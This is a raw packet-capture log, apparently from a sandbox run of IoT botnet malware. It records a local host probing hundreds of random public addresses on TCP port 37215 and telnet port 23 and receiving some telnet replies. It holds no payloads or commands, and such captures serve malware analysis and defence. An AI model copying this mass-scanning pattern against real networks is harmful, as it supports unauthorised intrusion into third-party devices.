Dec 3, 2024 23:16:46.399013042 CET	40597	37215	192.168.2.23	41.56.107.157
Dec 3, 2024 23:16:46.399013042 CET	40597	37215	192.168.2.23	197.32.212.79
Dec 3, 2024 23:16:46.399014950 CET	40597	37215	192.168.2.23	197.54.117.135
Dec 3, 2024 23:16:46.399014950 CET	40597	37215	192.168.2.23	41.249.92.161
Dec 3, 2024 23:16:46.399025917 CET	40597	37215	192.168.2.23	41.96.9.34
Dec 3, 2024 23:16:46.399035931 CET	40597	37215	192.168.2.23	197.11.225.107
Dec 3, 2024 23:16:46.399045944 CET	40597	37215	192.168.2.23	156.60.231.215
Dec 3, 2024 23:16:46.399050951 CET	40597	37215	192.168.2.23	156.112.58.153
Dec 3, 2024 23:16:46.399054050 CET	40597	37215	192.168.2.23	197.87.102.104
Dec 3, 2024 23:16:46.399060965 CET	40597	37215	192.168.2.23	156.230.96.213
Dec 3, 2024 23:16:46.399084091 CET	40597	37215	192.168.2.23	156.44.177.82
Dec 3, 2024 23:16:46.399084091 CET	40597	37215	192.168.2.23	156.211.1.151
Dec 3, 2024 23:16:46.399084091 CET	40597	37215	192.168.2.23	41.188.246.149
Dec 3, 2024 23:16:46.399087906 CET	40597	37215	192.168.2.23	197.31.185.247
Dec 3, 2024 23:16:46.399100065 CET	40597	37215	192.168.2.23	156.226.98.93
Dec 3, 2024 23:16:46.399101973 CET	40597	37215	192.168.2.23	197.228.14.242
Dec 3, 2024 23:16:46.399113894 CET	40597	37215	192.168.2.23	156.171.233.60
Dec 3, 2024 23:16:46.399115086 CET	40597	37215	192.168.2.23	156.211.169.33
Dec 3, 2024 23:16:46.399132967 CET	40597	37215	192.168.2.23	41.126.128.248
Dec 3, 2024 23:16:46.399132967 CET	40597	37215	192.168.2.23	197.124.119.213
Dec 3, 2024 23:16:46.399136066 CET	40597	37215	192.168.2.23	197.65.150.168
Dec 3, 2024 23:16:46.399138927 CET	40597	37215	192.168.2.23	197.69.22.167
Dec 3, 2024 23:16:46.399156094 CET	40597	37215	192.168.2.23	41.66.59.147
Dec 3, 2024 23:16:46.399156094 CET	40597	37215	192.168.2.23	41.129.56.65
Dec 3, 2024 23:16:46.399158955 CET	40597	37215	192.168.2.23	197.232.141.38
Dec 3, 2024 23:16:46.399158955 CET	40597	37215	192.168.2.23	41.15.115.235
Dec 3, 2024 23:16:46.399158955 CET	40597	37215	192.168.2.23	156.56.201.157
Dec 3, 2024 23:16:46.399178982 CET	40597	37215	192.168.2.23	41.119.225.229
Dec 3, 2024 23:16:46.399180889 CET	40597	37215	192.168.2.23	197.156.104.218
Dec 3, 2024 23:16:46.399207115 CET	40597	37215	192.168.2.23	197.115.123.82
Dec 3, 2024 23:16:46.399208069 CET	40597	37215	192.168.2.23	41.224.35.76
Dec 3, 2024 23:16:46.399214029 CET	40597	37215	192.168.2.23	41.234.154.41
Dec 3, 2024 23:16:46.399214983 CET	34278	23	192.168.2.23	96.132.61.120
Dec 3, 2024 23:16:46.399224043 CET	40597	37215	192.168.2.23	197.171.231.211
Dec 3, 2024 23:16:46.399235010 CET	40597	37215	192.168.2.23	41.13.173.253
Dec 3, 2024 23:16:46.399239063 CET	40597	37215	192.168.2.23	156.44.243.40
Dec 3, 2024 23:16:46.399240017 CET	40597	37215	192.168.2.23	197.224.239.154
Dec 3, 2024 23:16:46.399240017 CET	40597	37215	192.168.2.23	41.113.44.252
Dec 3, 2024 23:16:46.399241924 CET	40597	37215	192.168.2.23	41.188.136.100
Dec 3, 2024 23:16:46.399245024 CET	40597	37215	192.168.2.23	197.175.34.125
Dec 3, 2024 23:16:46.399246931 CET	40597	37215	192.168.2.23	41.201.145.180
Dec 3, 2024 23:16:46.399261951 CET	40597	37215	192.168.2.23	156.189.123.77
Dec 3, 2024 23:16:46.399267912 CET	40597	37215	192.168.2.23	41.0.167.102
Dec 3, 2024 23:16:46.399267912 CET	40597	37215	192.168.2.23	197.96.197.139
Dec 3, 2024 23:16:46.399275064 CET	40597	37215	192.168.2.23	41.181.8.42
Dec 3, 2024 23:16:46.399290085 CET	40597	37215	192.168.2.23	197.37.6.225
Dec 3, 2024 23:16:46.399290085 CET	40597	37215	192.168.2.23	41.250.182.226
Dec 3, 2024 23:16:46.399291039 CET	40597	37215	192.168.2.23	156.7.190.144
Dec 3, 2024 23:16:46.399300098 CET	40597	37215	192.168.2.23	156.151.191.238
Dec 3, 2024 23:16:46.399317026 CET	40597	37215	192.168.2.23	197.50.199.138
Dec 3, 2024 23:16:46.399317026 CET	40597	37215	192.168.2.23	197.233.254.138
Dec 3, 2024 23:16:46.399337053 CET	40597	37215	192.168.2.23	156.120.21.113
Dec 3, 2024 23:16:46.399338961 CET	40597	37215	192.168.2.23	156.132.139.68
Dec 3, 2024 23:16:46.399339914 CET	40597	37215	192.168.2.23	41.133.139.240
Dec 3, 2024 23:16:46.399346113 CET	40597	37215	192.168.2.23	41.188.59.78
Dec 3, 2024 23:16:46.399352074 CET	40597	37215	192.168.2.23	156.125.8.176
Dec 3, 2024 23:16:46.399354935 CET	40597	37215	192.168.2.23	41.168.170.53
Dec 3, 2024 23:16:46.399355888 CET	40597	37215	192.168.2.23	41.94.221.230
Dec 3, 2024 23:16:46.399375916 CET	40597	37215	192.168.2.23	41.152.225.125
Dec 3, 2024 23:16:46.399375916 CET	40597	37215	192.168.2.23	197.40.126.124
Dec 3, 2024 23:16:46.399375916 CET	40597	37215	192.168.2.23	156.7.170.240
Dec 3, 2024 23:16:46.399375916 CET	40597	37215	192.168.2.23	197.11.80.161
Dec 3, 2024 23:16:46.399380922 CET	40597	37215	192.168.2.23	41.24.13.81
Dec 3, 2024 23:16:46.399389029 CET	40597	37215	192.168.2.23	41.50.214.49
Dec 3, 2024 23:16:46.399389029 CET	40597	37215	192.168.2.23	197.123.187.234
Dec 3, 2024 23:16:46.399391890 CET	40597	37215	192.168.2.23	156.237.211.12
Dec 3, 2024 23:16:46.399393082 CET	40597	37215	192.168.2.23	197.213.34.166
Dec 3, 2024 23:16:46.399398088 CET	40597	37215	192.168.2.23	197.184.119.126
Dec 3, 2024 23:16:46.399398088 CET	40597	37215	192.168.2.23	197.217.25.19
Dec 3, 2024 23:16:46.399399996 CET	40597	37215	192.168.2.23	197.185.151.157
Dec 3, 2024 23:16:46.399411917 CET	40597	37215	192.168.2.23	41.100.7.160
Dec 3, 2024 23:16:46.399416924 CET	40597	37215	192.168.2.23	156.248.108.140
Dec 3, 2024 23:16:46.399431944 CET	40597	37215	192.168.2.23	197.208.220.252
Dec 3, 2024 23:16:46.399436951 CET	40597	37215	192.168.2.23	197.201.243.89
Dec 3, 2024 23:16:46.399436951 CET	40597	37215	192.168.2.23	156.214.24.216
Dec 3, 2024 23:16:46.399437904 CET	40597	37215	192.168.2.23	41.2.85.163
Dec 3, 2024 23:16:46.399461031 CET	40597	37215	192.168.2.23	41.169.9.142
Dec 3, 2024 23:16:46.399463892 CET	40597	37215	192.168.2.23	41.18.21.248
Dec 3, 2024 23:16:46.399466991 CET	40597	37215	192.168.2.23	197.56.184.181
Dec 3, 2024 23:16:46.399466991 CET	40597	37215	192.168.2.23	41.145.69.8
Dec 3, 2024 23:16:46.399468899 CET	40597	37215	192.168.2.23	197.120.177.247
Dec 3, 2024 23:16:46.399482012 CET	40597	37215	192.168.2.23	156.138.49.7
Dec 3, 2024 23:16:46.399482012 CET	40597	37215	192.168.2.23	41.9.105.57
Dec 3, 2024 23:16:46.399485111 CET	40597	37215	192.168.2.23	197.200.15.111
Dec 3, 2024 23:16:46.399490118 CET	40597	37215	192.168.2.23	41.13.38.110
Dec 3, 2024 23:16:46.399502993 CET	40597	37215	192.168.2.23	156.0.152.186
Dec 3, 2024 23:16:46.399504900 CET	40597	37215	192.168.2.23	41.212.185.177
Dec 3, 2024 23:16:46.399513960 CET	40597	37215	192.168.2.23	156.105.165.124
Dec 3, 2024 23:16:46.399514914 CET	40597	37215	192.168.2.23	156.28.151.86
Dec 3, 2024 23:16:46.399514914 CET	40597	37215	192.168.2.23	156.76.226.5
Dec 3, 2024 23:16:46.399516106 CET	40597	37215	192.168.2.23	41.181.148.37
Dec 3, 2024 23:16:46.399532080 CET	40597	37215	192.168.2.23	156.49.71.241
Dec 3, 2024 23:16:46.399537086 CET	40597	37215	192.168.2.23	41.63.111.125
Dec 3, 2024 23:16:46.399539948 CET	40597	37215	192.168.2.23	156.251.243.67
Dec 3, 2024 23:16:46.399544001 CET	40597	37215	192.168.2.23	41.159.87.1
Dec 3, 2024 23:16:46.399559021 CET	40597	37215	192.168.2.23	41.46.128.226
Dec 3, 2024 23:16:46.399559021 CET	40597	37215	192.168.2.23	41.134.150.89
Dec 3, 2024 23:16:46.399573088 CET	40597	37215	192.168.2.23	197.74.182.22
Dec 3, 2024 23:16:46.399575949 CET	40597	37215	192.168.2.23	41.112.172.186
Dec 3, 2024 23:16:46.399590969 CET	40597	37215	192.168.2.23	156.236.146.42
Dec 3, 2024 23:16:46.399595976 CET	40597	37215	192.168.2.23	156.83.79.250
Dec 3, 2024 23:16:46.399612904 CET	40597	37215	192.168.2.23	41.183.86.5
Dec 3, 2024 23:16:46.399615049 CET	40597	37215	192.168.2.23	41.221.144.87
Dec 3, 2024 23:16:46.399615049 CET	40597	37215	192.168.2.23	41.117.193.233
Dec 3, 2024 23:16:46.399621010 CET	40597	37215	192.168.2.23	197.168.77.229
Dec 3, 2024 23:16:46.399646997 CET	40597	37215	192.168.2.23	156.47.238.108
Dec 3, 2024 23:16:46.399648905 CET	40597	37215	192.168.2.23	41.74.73.31
Dec 3, 2024 23:16:46.399648905 CET	40597	37215	192.168.2.23	156.119.72.71
Dec 3, 2024 23:16:46.399655104 CET	40597	37215	192.168.2.23	197.31.42.58
Dec 3, 2024 23:16:46.399657011 CET	40597	37215	192.168.2.23	41.49.129.220
Dec 3, 2024 23:16:46.399661064 CET	40597	37215	192.168.2.23	197.173.143.169
Dec 3, 2024 23:16:46.399665117 CET	40597	37215	192.168.2.23	197.40.103.130
Dec 3, 2024 23:16:46.399665117 CET	40597	37215	192.168.2.23	197.105.166.56
Dec 3, 2024 23:16:46.399676085 CET	40597	37215	192.168.2.23	41.149.237.82
Dec 3, 2024 23:16:46.399682045 CET	40597	37215	192.168.2.23	41.145.63.136
Dec 3, 2024 23:16:46.399699926 CET	40597	37215	192.168.2.23	41.82.224.3
Dec 3, 2024 23:16:46.399699926 CET	40597	37215	192.168.2.23	156.103.225.169
Dec 3, 2024 23:16:46.399713993 CET	40597	37215	192.168.2.23	41.230.100.86
Dec 3, 2024 23:16:46.399722099 CET	40597	37215	192.168.2.23	197.103.41.33
Dec 3, 2024 23:16:46.399723053 CET	40597	37215	192.168.2.23	156.38.167.44
Dec 3, 2024 23:16:46.399723053 CET	40597	37215	192.168.2.23	156.117.38.213
Dec 3, 2024 23:16:46.399723053 CET	40597	37215	192.168.2.23	197.9.138.121
Dec 3, 2024 23:16:46.399723053 CET	40597	37215	192.168.2.23	197.185.193.147
Dec 3, 2024 23:16:46.399723053 CET	40597	37215	192.168.2.23	41.231.100.157
Dec 3, 2024 23:16:46.399729013 CET	40597	37215	192.168.2.23	197.169.190.54
Dec 3, 2024 23:16:46.399729967 CET	40597	37215	192.168.2.23	41.237.43.106
Dec 3, 2024 23:16:46.399734020 CET	40597	37215	192.168.2.23	41.229.0.108
Dec 3, 2024 23:16:46.399753094 CET	40597	37215	192.168.2.23	156.185.125.204
Dec 3, 2024 23:16:46.399754047 CET	40597	37215	192.168.2.23	156.44.240.135
Dec 3, 2024 23:16:46.399754047 CET	40597	37215	192.168.2.23	41.95.107.182
Dec 3, 2024 23:16:46.399765968 CET	40597	37215	192.168.2.23	41.156.177.193
Dec 3, 2024 23:16:46.399786949 CET	40597	37215	192.168.2.23	41.183.19.106
Dec 3, 2024 23:16:46.399789095 CET	40597	37215	192.168.2.23	197.103.197.119
Dec 3, 2024 23:16:46.399789095 CET	40597	37215	192.168.2.23	197.165.213.196
Dec 3, 2024 23:16:46.399794102 CET	40597	37215	192.168.2.23	156.103.247.28
Dec 3, 2024 23:16:46.399796009 CET	52552	23	192.168.2.23	130.155.72.191
Dec 3, 2024 23:16:46.399796963 CET	40597	37215	192.168.2.23	156.194.46.215
Dec 3, 2024 23:16:46.399806976 CET	40597	37215	192.168.2.23	156.203.90.243
Dec 3, 2024 23:16:46.399812937 CET	40597	37215	192.168.2.23	197.71.171.1
Dec 3, 2024 23:16:46.399818897 CET	40597	37215	192.168.2.23	41.207.80.39
Dec 3, 2024 23:16:46.399831057 CET	40597	37215	192.168.2.23	156.94.40.53
Dec 3, 2024 23:16:46.399831057 CET	40597	37215	192.168.2.23	197.194.155.251
Dec 3, 2024 23:16:46.399836063 CET	40597	37215	192.168.2.23	41.223.2.243
Dec 3, 2024 23:16:46.399844885 CET	40597	37215	192.168.2.23	197.180.65.6
Dec 3, 2024 23:16:46.399859905 CET	40597	37215	192.168.2.23	156.125.83.14
Dec 3, 2024 23:16:46.399861097 CET	40597	37215	192.168.2.23	41.233.47.214
Dec 3, 2024 23:16:46.399880886 CET	40597	37215	192.168.2.23	156.83.70.203
Dec 3, 2024 23:16:46.399880886 CET	40597	37215	192.168.2.23	197.146.238.43
Dec 3, 2024 23:16:46.399884939 CET	40597	37215	192.168.2.23	156.192.55.111
Dec 3, 2024 23:16:46.399890900 CET	40597	37215	192.168.2.23	41.58.216.98
Dec 3, 2024 23:16:46.399892092 CET	40597	37215	192.168.2.23	41.6.253.1
Dec 3, 2024 23:16:46.399909019 CET	40597	37215	192.168.2.23	197.99.229.64
Dec 3, 2024 23:16:46.399910927 CET	40597	37215	192.168.2.23	197.115.104.140
Dec 3, 2024 23:16:46.399916887 CET	40597	37215	192.168.2.23	197.200.179.130
Dec 3, 2024 23:16:46.399918079 CET	40597	37215	192.168.2.23	156.186.16.119
Dec 3, 2024 23:16:46.399933100 CET	40597	37215	192.168.2.23	197.93.74.85
Dec 3, 2024 23:16:46.399940014 CET	40597	37215	192.168.2.23	156.12.172.162
Dec 3, 2024 23:16:46.399950981 CET	40597	37215	192.168.2.23	197.42.103.189
Dec 3, 2024 23:16:46.399955988 CET	40597	37215	192.168.2.23	156.172.113.193
Dec 3, 2024 23:16:46.399960995 CET	40597	37215	192.168.2.23	197.71.22.178
Dec 3, 2024 23:16:46.399960995 CET	40597	37215	192.168.2.23	156.248.19.9
Dec 3, 2024 23:16:46.399977922 CET	40597	37215	192.168.2.23	156.15.188.143
Dec 3, 2024 23:16:46.399979115 CET	40597	37215	192.168.2.23	197.5.183.163
Dec 3, 2024 23:16:46.399980068 CET	40597	37215	192.168.2.23	41.46.63.90
Dec 3, 2024 23:16:46.399981022 CET	40597	37215	192.168.2.23	197.42.111.199
Dec 3, 2024 23:16:46.399996042 CET	40597	37215	192.168.2.23	156.35.21.74
Dec 3, 2024 23:16:46.399996996 CET	40597	37215	192.168.2.23	41.11.255.89
Dec 3, 2024 23:16:46.400017977 CET	40597	37215	192.168.2.23	156.5.85.252
Dec 3, 2024 23:16:46.400021076 CET	40597	37215	192.168.2.23	156.62.202.10
Dec 3, 2024 23:16:46.400021076 CET	40597	37215	192.168.2.23	41.14.216.189
Dec 3, 2024 23:16:46.400028944 CET	40597	37215	192.168.2.23	41.225.1.59
Dec 3, 2024 23:16:46.400041103 CET	40597	37215	192.168.2.23	156.81.30.37
Dec 3, 2024 23:16:46.400048971 CET	40597	37215	192.168.2.23	41.78.128.165
Dec 3, 2024 23:16:46.400048971 CET	40597	37215	192.168.2.23	156.209.237.66
Dec 3, 2024 23:16:46.400051117 CET	40597	37215	192.168.2.23	41.72.87.84
Dec 3, 2024 23:16:46.400063038 CET	40597	37215	192.168.2.23	197.40.72.7
Dec 3, 2024 23:16:46.400067091 CET	40597	37215	192.168.2.23	41.126.15.74
Dec 3, 2024 23:16:46.400082111 CET	40597	37215	192.168.2.23	41.110.109.204
Dec 3, 2024 23:16:46.400087118 CET	40597	37215	192.168.2.23	197.119.216.193
Dec 3, 2024 23:16:46.400088072 CET	40597	37215	192.168.2.23	197.133.43.212
Dec 3, 2024 23:16:46.400088072 CET	40597	37215	192.168.2.23	197.141.58.151
Dec 3, 2024 23:16:46.400090933 CET	40597	37215	192.168.2.23	41.127.67.236
Dec 3, 2024 23:16:46.400109053 CET	40597	37215	192.168.2.23	197.141.163.149
Dec 3, 2024 23:16:46.400109053 CET	40597	37215	192.168.2.23	156.153.123.84
Dec 3, 2024 23:16:46.400114059 CET	40597	37215	192.168.2.23	156.190.13.144
Dec 3, 2024 23:16:46.400114059 CET	40597	37215	192.168.2.23	156.92.80.52
Dec 3, 2024 23:16:46.400151014 CET	40597	37215	192.168.2.23	156.141.154.16
Dec 3, 2024 23:16:46.400155067 CET	40597	37215	192.168.2.23	41.86.100.163
Dec 3, 2024 23:16:46.400156975 CET	40597	37215	192.168.2.23	156.43.230.221
Dec 3, 2024 23:16:46.400160074 CET	40597	37215	192.168.2.23	197.119.34.150
Dec 3, 2024 23:16:46.400160074 CET	40597	37215	192.168.2.23	197.99.20.156
Dec 3, 2024 23:16:46.400160074 CET	40597	37215	192.168.2.23	41.118.175.135
Dec 3, 2024 23:16:46.400161982 CET	40597	37215	192.168.2.23	197.112.28.249
Dec 3, 2024 23:16:46.400180101 CET	40597	37215	192.168.2.23	156.162.8.57
Dec 3, 2024 23:16:46.400182009 CET	40597	37215	192.168.2.23	156.123.109.221
Dec 3, 2024 23:16:46.400187969 CET	40597	37215	192.168.2.23	156.98.80.164
Dec 3, 2024 23:16:46.400187969 CET	40597	37215	192.168.2.23	41.47.253.89
Dec 3, 2024 23:16:46.400190115 CET	40597	37215	192.168.2.23	41.84.134.243
Dec 3, 2024 23:16:46.400190115 CET	40597	37215	192.168.2.23	197.143.165.179
Dec 3, 2024 23:16:46.400191069 CET	40597	37215	192.168.2.23	41.63.247.214
Dec 3, 2024 23:16:46.400190115 CET	40597	37215	192.168.2.23	41.26.34.220
Dec 3, 2024 23:16:46.400191069 CET	40597	37215	192.168.2.23	41.30.241.134
Dec 3, 2024 23:16:46.400201082 CET	40597	37215	192.168.2.23	41.92.45.195
Dec 3, 2024 23:16:46.400209904 CET	40597	37215	192.168.2.23	197.51.30.159
Dec 3, 2024 23:16:46.400212049 CET	40597	37215	192.168.2.23	156.88.118.209
Dec 3, 2024 23:16:46.400213957 CET	40597	37215	192.168.2.23	197.96.132.77
Dec 3, 2024 23:16:46.400218010 CET	40597	37215	192.168.2.23	41.36.3.211
Dec 3, 2024 23:16:46.400228977 CET	40597	37215	192.168.2.23	41.31.202.232
Dec 3, 2024 23:16:46.400228977 CET	40597	37215	192.168.2.23	156.192.17.4
Dec 3, 2024 23:16:46.400245905 CET	40597	37215	192.168.2.23	41.70.231.48
Dec 3, 2024 23:16:46.400255919 CET	40597	37215	192.168.2.23	41.155.251.182
Dec 3, 2024 23:16:46.400262117 CET	40597	37215	192.168.2.23	41.95.56.65
Dec 3, 2024 23:16:46.400275946 CET	40597	37215	192.168.2.23	197.227.5.49
Dec 3, 2024 23:16:46.400278091 CET	40597	37215	192.168.2.23	156.98.206.219
Dec 3, 2024 23:16:46.400279045 CET	40597	37215	192.168.2.23	156.161.191.205
Dec 3, 2024 23:16:46.400285959 CET	40597	37215	192.168.2.23	197.156.164.215
Dec 3, 2024 23:16:46.400286913 CET	40597	37215	192.168.2.23	197.6.82.124
Dec 3, 2024 23:16:46.400299072 CET	40597	37215	192.168.2.23	156.104.13.65
Dec 3, 2024 23:16:46.400310040 CET	40597	37215	192.168.2.23	41.26.217.255
Dec 3, 2024 23:16:46.400327921 CET	40597	37215	192.168.2.23	197.145.177.81
Dec 3, 2024 23:16:46.400330067 CET	40597	37215	192.168.2.23	197.18.147.227
Dec 3, 2024 23:16:46.400338888 CET	40597	37215	192.168.2.23	156.183.55.193
Dec 3, 2024 23:16:46.400346994 CET	55834	23	192.168.2.23	101.213.242.48
Dec 3, 2024 23:16:46.400351048 CET	40597	37215	192.168.2.23	156.171.123.132
Dec 3, 2024 23:16:46.400353909 CET	40597	37215	192.168.2.23	156.184.115.137
Dec 3, 2024 23:16:46.400355101 CET	40597	37215	192.168.2.23	156.243.119.79
Dec 3, 2024 23:16:46.400356054 CET	40597	37215	192.168.2.23	156.148.194.49
Dec 3, 2024 23:16:46.400356054 CET	40597	37215	192.168.2.23	197.108.194.97
Dec 3, 2024 23:16:46.400357962 CET	40597	37215	192.168.2.23	41.159.54.226
Dec 3, 2024 23:16:46.400372982 CET	40597	37215	192.168.2.23	197.58.44.5
Dec 3, 2024 23:16:46.400381088 CET	40597	37215	192.168.2.23	197.50.178.61
Dec 3, 2024 23:16:46.400384903 CET	40597	37215	192.168.2.23	156.140.88.90
Dec 3, 2024 23:16:46.400394917 CET	40597	37215	192.168.2.23	156.10.215.120
Dec 3, 2024 23:16:46.400418997 CET	40597	37215	192.168.2.23	156.52.14.114
Dec 3, 2024 23:16:46.400418997 CET	40597	37215	192.168.2.23	197.14.165.165
Dec 3, 2024 23:16:46.400437117 CET	40597	37215	192.168.2.23	156.154.56.113
Dec 3, 2024 23:16:46.400437117 CET	40597	37215	192.168.2.23	197.47.129.94
Dec 3, 2024 23:16:46.400437117 CET	40597	37215	192.168.2.23	41.251.130.246
Dec 3, 2024 23:16:46.400445938 CET	40597	37215	192.168.2.23	41.236.35.78
Dec 3, 2024 23:16:46.400461912 CET	40597	37215	192.168.2.23	41.193.188.118
Dec 3, 2024 23:16:46.400468111 CET	40597	37215	192.168.2.23	197.20.16.11
Dec 3, 2024 23:16:46.400490046 CET	40597	37215	192.168.2.23	41.141.124.205
Dec 3, 2024 23:16:46.400490999 CET	40597	37215	192.168.2.23	197.108.207.18
Dec 3, 2024 23:16:46.400505066 CET	40597	37215	192.168.2.23	197.62.71.91
Dec 3, 2024 23:16:46.400509119 CET	40597	37215	192.168.2.23	156.32.204.13
Dec 3, 2024 23:16:46.400516033 CET	40597	37215	192.168.2.23	197.196.252.123
Dec 3, 2024 23:16:46.400517941 CET	40597	37215	192.168.2.23	41.7.172.184
Dec 3, 2024 23:16:46.400518894 CET	40597	37215	192.168.2.23	41.205.167.97
Dec 3, 2024 23:16:46.400537014 CET	40597	37215	192.168.2.23	41.176.183.186
Dec 3, 2024 23:16:46.400538921 CET	40597	37215	192.168.2.23	41.26.153.32
Dec 3, 2024 23:16:46.400541067 CET	40597	37215	192.168.2.23	197.227.167.23
Dec 3, 2024 23:16:46.400557041 CET	40597	37215	192.168.2.23	41.209.91.212
Dec 3, 2024 23:16:46.400558949 CET	40597	37215	192.168.2.23	197.187.127.31
Dec 3, 2024 23:16:46.400568962 CET	40597	37215	192.168.2.23	197.35.162.190
Dec 3, 2024 23:16:46.400574923 CET	40597	37215	192.168.2.23	156.190.70.44
Dec 3, 2024 23:16:46.400576115 CET	40597	37215	192.168.2.23	41.85.206.233
Dec 3, 2024 23:16:46.400587082 CET	40597	37215	192.168.2.23	156.76.95.5
Dec 3, 2024 23:16:46.400598049 CET	40597	37215	192.168.2.23	156.171.1.193
Dec 3, 2024 23:16:46.400599957 CET	40597	37215	192.168.2.23	197.194.77.45
Dec 3, 2024 23:16:46.400607109 CET	40597	37215	192.168.2.23	156.6.190.236
Dec 3, 2024 23:16:46.400882006 CET	47602	23	192.168.2.23	37.234.78.188
Dec 3, 2024 23:16:46.401366949 CET	57276	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:46.402137041 CET	57728	23	192.168.2.23	184.224.131.118
Dec 3, 2024 23:16:46.402656078 CET	45134	23	192.168.2.23	218.100.158.146
Dec 3, 2024 23:16:46.403175116 CET	39186	23	192.168.2.23	222.64.76.248
Dec 3, 2024 23:16:46.403709888 CET	60056	23	192.168.2.23	185.167.174.148
Dec 3, 2024 23:16:46.404254913 CET	34914	23	192.168.2.23	65.30.3.19
Dec 3, 2024 23:16:46.404896021 CET	52712	23	192.168.2.23	147.189.3.230
Dec 3, 2024 23:16:46.405432940 CET	35736	23	192.168.2.23	206.68.214.163
Dec 3, 2024 23:16:46.405946970 CET	37106	23	192.168.2.23	27.234.229.218
Dec 3, 2024 23:16:46.406467915 CET	59298	23	192.168.2.23	112.229.253.40
Dec 3, 2024 23:16:46.406994104 CET	51456	23	192.168.2.23	119.96.49.132
Dec 3, 2024 23:16:46.407524109 CET	41084	23	192.168.2.23	218.67.132.144
Dec 3, 2024 23:16:46.408068895 CET	38448	23	192.168.2.23	74.223.132.58
Dec 3, 2024 23:16:46.408595085 CET	41214	23	192.168.2.23	121.30.192.117
Dec 3, 2024 23:16:46.409118891 CET	38034	23	192.168.2.23	31.46.27.143
Dec 3, 2024 23:16:46.409638882 CET	41008	23	192.168.2.23	47.7.97.197
Dec 3, 2024 23:16:46.410151005 CET	49626	23	192.168.2.23	23.144.252.12
Dec 3, 2024 23:16:46.410672903 CET	56426	23	192.168.2.23	50.131.41.104
Dec 3, 2024 23:16:46.411189079 CET	45950	23	192.168.2.23	140.78.178.135
Dec 3, 2024 23:16:46.411720037 CET	46254	23	192.168.2.23	203.97.157.134
Dec 3, 2024 23:16:46.412224054 CET	48660	23	192.168.2.23	96.243.144.211
Dec 3, 2024 23:16:46.412761927 CET	50028	23	192.168.2.23	115.214.33.197
Dec 3, 2024 23:16:46.413265944 CET	49238	23	192.168.2.23	32.14.25.100
Dec 3, 2024 23:16:46.413774014 CET	57658	23	192.168.2.23	185.71.85.214
Dec 3, 2024 23:16:46.414300919 CET	37142	23	192.168.2.23	139.153.60.41
Dec 3, 2024 23:16:46.414817095 CET	40120	23	192.168.2.23	27.84.10.92
Dec 3, 2024 23:16:46.415338993 CET	37570	23	192.168.2.23	140.76.10.211
Dec 3, 2024 23:16:46.415878057 CET	33130	23	192.168.2.23	105.187.135.120
Dec 3, 2024 23:16:46.416388988 CET	51098	23	192.168.2.23	185.231.81.163
Dec 3, 2024 23:16:46.416913986 CET	37946	23	192.168.2.23	135.43.117.122
Dec 3, 2024 23:16:46.417449951 CET	43692	23	192.168.2.23	221.198.169.88
Dec 3, 2024 23:16:46.417979002 CET	54742	23	192.168.2.23	42.51.5.44
Dec 3, 2024 23:16:46.418488026 CET	39632	23	192.168.2.23	1.139.194.233
Dec 3, 2024 23:16:46.419024944 CET	50460	23	192.168.2.23	217.31.44.89
Dec 3, 2024 23:16:46.419538021 CET	52408	23	192.168.2.23	196.250.179.4
Dec 3, 2024 23:16:46.420054913 CET	42552	23	192.168.2.23	9.231.222.167
Dec 3, 2024 23:16:46.420578957 CET	35824	23	192.168.2.23	54.163.87.119
Dec 3, 2024 23:16:46.421088934 CET	55072	23	192.168.2.23	85.112.26.149
Dec 3, 2024 23:16:46.421606064 CET	37234	23	192.168.2.23	174.240.221.105
Dec 3, 2024 23:16:46.435982943 CET	60852	23	192.168.2.23	213.83.187.7
Dec 3, 2024 23:16:46.436501026 CET	54850	23	192.168.2.23	125.169.157.239
Dec 3, 2024 23:16:46.437032938 CET	43928	23	192.168.2.23	166.127.178.91
Dec 3, 2024 23:16:46.437540054 CET	55374	23	192.168.2.23	31.226.180.43
Dec 3, 2024 23:16:46.438050985 CET	56276	23	192.168.2.23	108.129.32.48
Dec 3, 2024 23:16:46.438574076 CET	45524	23	192.168.2.23	104.133.85.82
Dec 3, 2024 23:16:46.511676073 CET	23	40602	50.186.10.186	192.168.2.23
Dec 3, 2024 23:16:46.511728048 CET	23	40602	123.181.30.99	192.168.2.23
Dec 3, 2024 23:16:46.511737108 CET	23	40602	47.117.159.86	192.168.2.23
Dec 3, 2024 23:16:46.511745930 CET	23	40602	223.96.186.59	192.168.2.23
Dec 3, 2024 23:16:46.511746883 CET	40602	23	192.168.2.23	50.186.10.186
Dec 3, 2024 23:16:46.511755943 CET	23	40602	199.238.183.81	192.168.2.23
Dec 3, 2024 23:16:46.511780024 CET	23	40602	123.252.231.217	192.168.2.23
Dec 3, 2024 23:16:46.511780024 CET	40602	23	192.168.2.23	123.181.30.99
Dec 3, 2024 23:16:46.511784077 CET	40602	23	192.168.2.23	223.96.186.59
Dec 3, 2024 23:16:46.511784077 CET	40602	23	192.168.2.23	47.117.159.86
Dec 3, 2024 23:16:46.511787891 CET	40602	23	192.168.2.23	199.238.183.81
Dec 3, 2024 23:16:46.511795044 CET	23	40602	147.242.5.133	192.168.2.23
Dec 3, 2024 23:16:46.511810064 CET	40602	23	192.168.2.23	123.252.231.217
Dec 3, 2024 23:16:46.511832952 CET	40602	23	192.168.2.23	147.242.5.133
Dec 3, 2024 23:16:46.511848927 CET	23	40602	108.44.48.114	192.168.2.23
Dec 3, 2024 23:16:46.511858940 CET	23	40602	161.152.46.196	192.168.2.23
Dec 3, 2024 23:16:46.511868000 CET	23	40602	198.189.113.143	192.168.2.23
Dec 3, 2024 23:16:46.511884928 CET	40602	23	192.168.2.23	108.44.48.114
Dec 3, 2024 23:16:46.511888027 CET	40602	23	192.168.2.23	161.152.46.196
Dec 3, 2024 23:16:46.511895895 CET	40602	23	192.168.2.23	198.189.113.143
Dec 3, 2024 23:16:46.511903048 CET	23	40602	40.109.90.228	192.168.2.23
Dec 3, 2024 23:16:46.511914015 CET	23	40602	150.173.229.11	192.168.2.23
Dec 3, 2024 23:16:46.511921883 CET	23	40602	158.85.95.150	192.168.2.23
Dec 3, 2024 23:16:46.511938095 CET	40602	23	192.168.2.23	40.109.90.228
Dec 3, 2024 23:16:46.511944056 CET	40602	23	192.168.2.23	150.173.229.11
Dec 3, 2024 23:16:46.511944056 CET	40602	23	192.168.2.23	158.85.95.150
Dec 3, 2024 23:16:46.511950970 CET	23	40602	151.240.39.152	192.168.2.23
Dec 3, 2024 23:16:46.511984110 CET	23	40602	51.132.249.56	192.168.2.23
Dec 3, 2024 23:16:46.511993885 CET	23	40602	133.111.104.194	192.168.2.23
